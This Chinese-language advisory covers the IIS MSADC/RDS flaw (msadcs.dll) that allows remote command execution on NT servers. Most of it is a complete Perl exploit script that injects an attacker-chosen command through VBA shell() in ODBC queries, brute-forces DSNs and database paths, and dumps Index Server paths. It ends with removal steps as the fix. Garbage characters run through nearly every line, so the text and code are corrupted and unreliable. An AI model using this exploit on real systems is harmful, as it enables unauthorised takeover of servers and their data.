IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@Dh2@2`> B}iEhW O6 涉及程序：
h 3CA,$HJ Microsoft NT server
SndR:{ F^u12R) 描述：
>NKJ @ 4Y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
x s{pGQ6Q ?R)]D:` 详细：
Z>9@)wo 如果你没有时间读详细内容的话，就删除:
,dIev < c:\Program Files\Common Files\System\Msadc\msadcs.dll
xqG<R5k>> 有关的安全问题就没有了。
? }M81 j]BRf A 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
8>v_th 7Z6=e6/\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,|]J aZq 关于利用ODBC远程漏洞的描述，请参看:
nq M7Is p~$cwbQ! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u. GnXuax 1r;zA<<%R 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
*&NP ?-E http://www.microsoft.com/security/bulletins/MS99-025faq.asp w 9dkJ o N[e,){v 这里不再论述。
`6U!\D ` =>}*GS 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
u:l-qD9=( entU+O r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-'&/7e6>y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
=>$)F 4LW ]| |b2 [* q)k:pQ #将下面这段保存为txt文件，然后: "perl -x 文件名"
KNVu[P)rv 928_e)V #!perl
ue_wuZi #
'$9o(m# # MSADC/RDS 'usage' (aka exploit) script
YWFE*wQ! #
oW3"J6,S # by rain.forest.puppy
YZol4q|ic #
y}?|+/ dN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<`}P # beta test and find errors!
Px lc RF %O"8|ZG9{ use Socket; use Getopt::Std;
~non_pJ getopts("e:vd:h:XR", \%args);
bKQho31a'
M-o'` e' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
jxog8 E |to P8 6 if (!defined $args{h} && !defined $args{R}) {
jf9+H!?^N print qq~
y{ ur'**l Usage: msadc.pl -h <host> { -d <delay> -X -v }
){; XI2 -h <host> = host you want to scan (ip or domain)
b,xZY1a -d <seconds> = delay between calls, default 1 second
_ \D % -X = dump Index Server path table, if available
w*qj0:i5as -v = verbose
g >lZs -e = external dictionary file for step 5
]S6Gz/4aV+ @-$8)?`q Or a -R will resume a command session
#<*Vc6pC AC,RS 7 ~; exit;}
$^]K6 11w9 =Hi@q
" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
GcBqe=/ B! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Yuv i{ 0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;l$$!PJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
GK@OdurA R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Su#0 F0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!}&|a~U@`k `'YX>u / if (!defined $args{R}){ $ret = &has_msadc;
> i/jqT/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Tq1\ b($hp%+yJ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|+ #Zuq . "cmd /c ";
I?e5h@u E $in=<STDIN>; chomp $in;
y9:4n1fg $command="cmd /c " . $in ;
Tgdy;? + jLy>=u if (defined $args{R}) {&load; exit;}
^b8~X [1J_ $Z]&3VxxY print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"=h1gql' &try_btcustmr;
Xg)8} KkJqqO"EL print "\nStep 2: Trying to make our own DSN...";
{ 9x_E { &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<Ky-3:pxeM WZ CI*' print "\nStep 3: Trying known DSNs...";
Z
vysLHj &known_dsn;
=nEP :7~{ 4E$MhP
print "\nStep 4: Trying known .mdbs...";
98[uRywI &known_mdb;
B~Sj#(WEa .~]|gg~ if (defined $args{e}){
]eL# bJ print "\nStep 5: Trying dictionary of DSN names...";
Rlq7.2cP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|L2 >|4 [|(|"dh@^H print "Sorry Charley...maybe next time?\n";
mQ[$U exit;
R N$vKJk ,B <\ a ##############################################################################
(5y M%H8 : aacy5E sub sendraw { # ripped and modded from whisker
pjeNBSu6 sleep($delay); # it's a DoS on the server! At least on mine...
sZ `Tv[ my ($pstr)=@_;
n$i X6Cd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=?i?-6 M die("Socket problems\n");
&W<7!U:2m if(connect(S,pack "SnA4x8",2,80,$target)){
#AD_EN9 select(S); $|=1;
T+Oqd\05.+ print $pstr; my @in=<S>;
d ^bSV4 select(STDOUT); close(S);
ho\1[xS return @in;
fM= o?w6v } else { die("Can't connect...\n"); }}
M xE]EJZ D!j/a!MaKk ##############################################################################
xl}rdnf} RT [p!xL sub make_header { # make the HTTP request
cx \"r my $msadc=<<EOT
I7ao2aS POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1By tu >2 User-Agent: ACTIVEDATA
iE%" Q? Q/ Host: $ip
x YS81 Content-Length: $clen
[|]J8o@u^ Connection: Keep-Alive
{[y6qQm $WA wMS, ADCClientVersion:01.06
IiYL2JS;t| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
xR+ vu>f G~ 9m,l+ --!ADM!ROX!YOUR!WORLD!
]2AOW}= Content-Type: application/x-varg
FYAEM!dyy Content-Length: $reqlen
&^=Lr:I 3smk Y EOT
T4eJ:u* ; ; $msadc=~s/\n/\r\n/g;
WogUILB return $msadc;}
c{q+h V= .3
EZk8 6 ##############################################################################
;n&95t1$ k8gH#ENNK sub make_req { # make the RDS request
& #p1ogf: my ($switch, $p1, $p2)=@_;
At7!Pas#@g my $req=""; my $t1, $t2, $query, $dsn;
o m G2p #:)'D?, if ($switch==1){ # this is the btcustmr.mdb query
)V1XL $query="Select * from Customers where City=" . make_shell();
0seCQANd $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g6M>S1oOO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z/7q#~J, E7uIur=g! elsif ($switch==2){ # this is general make table query
]c(FgY c $query="create table AZZ (B int, C varchar(10))";
TvU
z^ $dsn="$p1";}
+=tdgw/ Wf~^,]9N elsif ($switch==3){ # this is general exploit table query
)GB #"2 $query="select * from AZZ where C=" . make_shell();
nrEI0E9 $dsn="$p1";}
_>gz& =
0 ~4k# elsif ($switch==4){ # attempt to hork file info from index server
)nN!% |J $query="select path from scope()";
-#\ T $dsn="Provider=MSIDXS;";}
1/dL-"*0 8Km&3nCv$Q elsif ($switch==5){ # bad query
G e k?+|m $query="select";
PGTEIptX7 $dsn="$p1";}
7oZ :/6_> \u[x<-\/6 $t1= make_unicode($query);
y_X6{ }Ke $t2= make_unicode($dsn);
oz!)x\m*H $req = "\x02\x00\x03\x00";
0=ws )@[I $req.= "\x08\x00" . pack ("S1", length($t1));
o;8$#gyNY $req.= "\x00\x00" . $t1 ;
Ev fvU:z $req.= "\x08\x00" . pack ("S1", length($t2));
x ;DoQx $req.= "\x00\x00" . $t2 ;
m xlh\'b $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Xa z "! return $req;}
zIa= {tU x'|ty[87 ##############################################################################
|<W$rzM axQ>~v WN/ sub make_shell { # this makes the shell() statement
'6N)sqTR return "'|shell(\"$command\")|'";}
bT:u |/I >8Oa(9 n ##############################################################################
S_lGr k\j >X~B1D,SV7 sub make_unicode { # quick little function to convert to unicode
*y Z6" my ($in)=@_; my $out;
Ww<Y]H$xZ< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Ah2@sp,z return $out;}
` YOYC 5%-{r& ##############################################################################
}7.A~h `d <`> sub rdo_success { # checks for RDO return success (this is kludge)
H,>
}t
S my (@in) = @_; my $base=content_start(@in);
d)
-( C1f if($in[$base]=~/multipart\/mixed/){
=!TUf/O- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
jz!I + return 0;}
f) sy-o! >.<VD7p ##############################################################################
}*x1e_m}H oW~ W(h ! sub make_dsn { # this makes a DSN for us
A
mZXUb my @drives=("c","d","e","f");
!W}sOK7# print "\nMaking DSN: ";
\h
~_<) foreach $drive (@drives) {
/ -M:6 print "$drive: ";
!)a_@ d.;i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:WB u U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ay8]"sa . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0cm34\* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.n\JY;" return 0 if $2 eq "404"; # not found/doesn't exist
k_pv6YrE if($2 eq "200") {
n|5\Q foreach $line (@results) {
Xi="gxp$% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q9
Df` 6+ } return 0;}
+C% 6jGGh juEPUsE ##############################################################################
y
4i3m(S KjGu !B sub verify_exists {
J v} my ($page)=@_;
# ~<]z my @results=sendraw("GET $page HTTP/1.0\n\n");
qT#e
-.G return $results[0];}
5]O{t Sj -XYvjW,| ##############################################################################
^Iw$ ( N
R
c4*zQJ sub try_btcustmr {
[ CQR my @drives=("c","d","e","f");
xvl$,\iqE my @dirs=("winnt","winnt35","winnt351","win","windows");
%`]+sg[i x80IS:TP foreach $dir (@dirs) {
1Vpti4 OmU print "$dir -> "; # fun status so you can see progress
t:1 0
foreach $drive (@drives) {
O3 sV) print "$drive: "; # ditto
wfo, r 7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w)dnmrKDZg $reqlenlen=length( "$reqlen" );
5FOMh"!z\ $clen= 206 + $reqlenlen + $reqlen;
bq/Aopfr zQ,rw[C"W my @results=sendraw(make_header() . make_req(1,$drive,$dir));
YTTyMn if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0pE >O7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=:rg1wo"c +a5F:3$ ##############################################################################
H )ej]DXy ACyK#5E sub odbc_error {
s%:fZ7y my (@in)=@_; my $base;
j [U#J my $base = content_start(@in);
wm~7`& if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Gxw1P@<F: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vPDw22L;' $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xF8r+{_J) $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[
<X% return $in[$base+4].$in[$base+5].$in[$base+6];}
A.>mk59 8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
cx[^D,usf~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[
U:C62oK, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
?[JP[
qS o]1BWwtY& ##############################################################################
S= 4o@3%$ 9xR5Jm>k sub verbose {
wQSan&81Q my ($in)=@_;
ABCm2$< return if !$verbose;
Yg&(km m print STDOUT "\n$in\n";}
?X@!jB,Pv 7P1Pk?pxy ##############################################################################
4)g G_k x7S\-<8 sub save {
M=iTwK my ($p1, $p2, $p3, $p4)=@_;
@j|E"VYY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&5 "! 0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U}w'/:H close OUT;}
.\
Ijq! =UKxf ##############################################################################
\0)jWCK vhBW1/w&F sub load {
G^.N$wcv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DhE-g< open(IN,"<rds.save") || die("Couldn't open rds.save\n");
b1C)@gl !Z @p=<IN>; close(IN);
[lzd' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jrp>Y: $target= inet_aton($ip) || die("inet_aton problems");
t]HY@@0g print "Resuming to $ip ...";
]$/oSa/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Mq\=pxC@ if($p[1]==1) {
hhU_kI $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+p%3pnj:K $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
syw1Z*WK my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b6-N2F1Fs if (rdo_success(@results)){print "Success!\n";}
t\,Y<9{ w else { print "failed\n"; verbose(odbc_error(@results));}}
n{gEIUo# elsif ($p[1]==3){
q %sZV> if(run_query("$p[3]")){
-`faXFW ' print "Success!\n";} else { print "failed\n"; }}
9L>?N:%5 elsif ($p[1]==4){
COw"6czX/ if(run_query($drvst . "$p[3]")){
NzT
&K7v print "Success!\n"; } else { print "failed\n"; }}
`G$>T#Dq exit;}
BA h'H&;V EJn]C=_( ##############################################################################
>eTbg"\ 6=f)3!= sub create_table {
WZ-~F /:c% my ($in)=@_;
W9?*
~! $reqlen=length( make_req(2,$in,"") ) - 28;
AX`T ku $reqlenlen=length( "$reqlen" );
#QwkRzVoy $clen= 206 + $reqlenlen + $reqlen;
}y6|H, t9 my @results=sendraw(make_header() . make_req(2,$in,""));
Y
D<3 #Dr] return 1 if rdo_success(@results);
Tri\5O0lPs my $temp= odbc_error(@results); verbose($temp);
j!4{+&Laq return 1 if $temp=~/Table 'AZZ' already exists/;
X /c8 XLe" return 0;}
JVoC2Z< -DkD*64wu ##############################################################################
X$!fR >Zc .`IhxE~mN sub known_dsn {
Em!- W5 *s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
u
IXA{89 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)Q=u[ p "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
_*AI1/>` "banner", "banners", "ads", "ADCDemo", "ADCTest");
%Xh}{ o$G Vukb vBWPN foreach $dSn (@dsns) {
cy^=!EfA print ".";
}2]|*?1, next if (!is_access("DSN=$dSn"));
e* [wF})) if(create_table("DSN=$dSn")){
w-Ph-L/ print "$dSn successful\n";
~:Rbd9IB if(run_query("DSN=$dSn")){
0z/*JVka print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TnQ>v{Rx print "Something's borked. Use verbose next time\n";}}} print "\n";}
$9YQ aN% Pxl , " ##############################################################################
"WKOlfPa QATRrIj{e sub is_access {
wa[L[ mw my ($in)=@_;
,SIS3A>s $reqlen=length( make_req(5,$in,"") ) - 28;
c 4AJ`f.5 $reqlenlen=length( "$reqlen" );
"1,*6(;: $clen= 206 + $reqlenlen + $reqlen;
9 :2Bt <q my @results=sendraw(make_header() . make_req(5,$in,""));
IP`lx my $temp= odbc_error(@results);
jG1(Oe;# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hNXZL>6 return 0;}
We y*\@ as@8L|i* ##############################################################################
)+L|<6J XA ^Q#_ sub run_query {
%2:UsI my ($in)=@_;
X( tx8~z $reqlen=length( make_req(3,$in,"") ) - 28;
e(s0mbJE $reqlenlen=length( "$reqlen" );
[l-o*@ $clen= 206 + $reqlenlen + $reqlen;
N[cIr{XBGN my @results=sendraw(make_header() . make_req(3,$in,""));
+mrLMbBiD return 1 if rdo_success(@results);
J|I*n my $temp= odbc_error(@results); verbose($temp);
K9@.l~n return 0;}
neU=1socJ p<r^{y ##############################################################################
Jh.~]\u k@7# 8(3 sub known_mdb {
J'2 Yrn my @drives=("c","d","e","f","g");
|Y Lja87 my @dirs=("winnt","winnt35","winnt351","win","windows");
wS=vm}}u my $dir, $drive, $mdb;
O\Huj= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J=-z~\f56 %1
)c{7 # this is sparse, because I don't know of many
dy+A$)gY< my @sysmdbs=( "\\catroot\\icatalog.mdb",
:|(YlNUv "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2{j$1EdI@- "\\system32\\certmdb.mdb",
L]MWdD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K^!#;,0 >T;!Z 5L1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$T K*w8@: "\\cfusion\\cfapps\\forums\\forums_.mdb",
Lyc6nP; F
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
bhD-;Y!6; "\\cfusion\\cfapps\\security\\realm_.mdb",
!Q"L )%)'A "\\cfusion\\cfapps\\security\\data\\realm.mdb",
L ,R}l0kc "\\cfusion\\database\\cfexamples.mdb",
6 ZRc|ZQ "\\cfusion\\database\\cfsnippets.mdb",
hj1;f<'
U "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d Co)en "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
U nDCC_ud "\\cfusion\\brighttiger\\database\\cleam.mdb",
p
l^;'|=M "\\cfusion\\database\\smpolicy.mdb",
:WRD<D_4 "\\cfusion\\database\cypress.mdb",
uzxwJs'fz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
= 9Yf o,F "\\website\\cgi-win\\dbsample.mdb",
fuj9x;8X0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
L--
t(G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
wa,`BAKJ+F ); #these are just
3u
j|jw L foreach $drive (@drives) {
6],?Y+_;)L foreach $dir (@dirs){
4P#jMox foreach $mdb (@sysmdbs) {
>8/Otg+h print ".";
fB h" if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
h
8$.mQr print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
8` L ]<Dm if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%1TKgNf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3m& r?xZs } else { print "Something's borked. Use verbose next time\n"; }}}}}
Ar\fA)UQ` 8Ze>
hEG foreach $drive (@drives) {
c(1tOQk. foreach $mdb (@mdbs) {
7KiraKb| print ".";
N/F_,>E if(create_table($drv . $drive . $dir . $mdb)){
_
uOi:Ti print "\n" . $drive . $dir . $mdb . " successful\n";
v9H
t~\> if(run_query($drv . $drive . $dir . $mdb)){
B= *0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
IiniaVuQ } else { print "Something's borked. Use verbose next time\n"; }}}}
<%.%q }
te[uAJ1 N O^\:J 2I( ##############################################################################
<N<0 ?GQ W!HjO; sub hork_idx {
(ORbhjl print "\nAttempting to dump Index Server tables...\n";
EPW4
h/I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
hR Xnig{;3 $reqlen=length( make_req(4,"","") ) - 28;
@N '_qu $reqlenlen=length( "$reqlen" );
Z4G%Ve[ $clen= 206 + $reqlenlen + $reqlen;
>e;jGk?- my @results=sendraw2(make_header() . make_req(4,"",""));
ZN H-0mk if (rdo_success(@results)){
h<LS`$PK;E my $max=@results; my $c; my %d;
Zsapu1HoL\ for($c=19; $c<$max; $c++){
lrc%GU): $results[$c]=~s/\x00//g;
k% \;$u=% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:sw5@JdJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
D?y-Y
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
8 /p ]'BLf $d{"$1$2"}="";}
->pU!f)\X foreach $c (keys %d){ print "$c\n"; }
_f 2r z+ } else {print "Index server doesn't seem to be installed.\n"; }}
jy0aKSn8 mKtMI!FR ##############################################################################
U;3t{~Ym h];H]15& sub dsn_dict {
9Pg6,[*u open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&L0Ii)Ns while(<IN>){
+8ib928E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zq + 2@"q next if (!is_access("DSN=$dSn"));
kj2qX9 Ms if(create_table("DSN=$dSn")){
R<1%Gdz print "$dSn successful\n";
waz5+l28 if(run_query("DSN=$dSn")){
VEa"^{,w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:C^{Lc print "Something's borked. Use verbose next time\n";}}}
[ BdRx` print "\n"; close(IN);}
,(oolx"Xa [&~x5l
8\C ##############################################################################
7}qxW z pGU .+[|( sub sendraw2 { # ripped and modded from whisker
*# <%04f sleep($delay); # it's a DoS on the server! At least on mine...
\
P6 ! my ($pstr)=@_;
7>im2"zm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%_n %-Qn die("Socket problems\n");
?`OF n F,K if(connect(S,pack "SnA4x8",2,80,$target)){
(ID%U print "Connected. Getting data";
w)J-e gc open(OUT,">raw.out"); my @in;
5.-:)= select(S); $|=1; print $pstr;
r=.@APZB while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G "+[@| close(OUT); select(STDOUT); close(S); return @in;
+uF}mZ S^ } else { die("Can't connect...\n"); }}
B!<B7 Q |{|B70v3Co ##############################################################################
u0) O Fz Vxrj(knck, sub content_start { # this will take in the server headers
M&=SvM.f my (@in)=@_; my $c;
7]So=% q for ($c=1;$c<500;$c++) {
LTBH/[q5 if($in[$c] =~/^\x0d\x0a/){
X )(K |[ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
QpzdlB44l else { return $c+1; }}}
<gX({FA return -1;} # it should never get here actually
A/9<} m JkR%o
#>5 ##############################################################################
vD 2(M1Q S7j(4@ sub funky {
`[E -V my (@in)=@_; my $error=odbc_error(@in);
{p i_yr3 if($error=~/ADO could not find the specified provider/){
p" .wqg*W print "\nServer returned an ADO miscofiguration message\nAborting.\n";
q%k&O9C2] exit;}
;*K;)C if($error=~/A Handler is required/){
XU<ow k print "\nServer has custom handler filters (they most likely are patched)\n";
h('5x,G% exit;}
!m=Js" if($error=~/specified Handler has denied Access/){
GYy8kp84 print "\nServer has custom handler filters (they most likely are patched)\n";
3,Z;J5VL4! exit;}}
)y:M8((% K_t >T)K ##############################################################################
:xmj42w>^ oGZuYp a9 sub has_msadc {
> mCH!ey my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'% _K"rb my $base=content_start(@results);
`"'u
mIz return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QgH{J8 0 return 0;}
vp&. 5K bPpKpd ########################
i \Yd_ %q r,Ssa/ 5mVO9Q j 解决方案：
YG?4DF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&B :L9^ 2、移除web 目录: /msadc
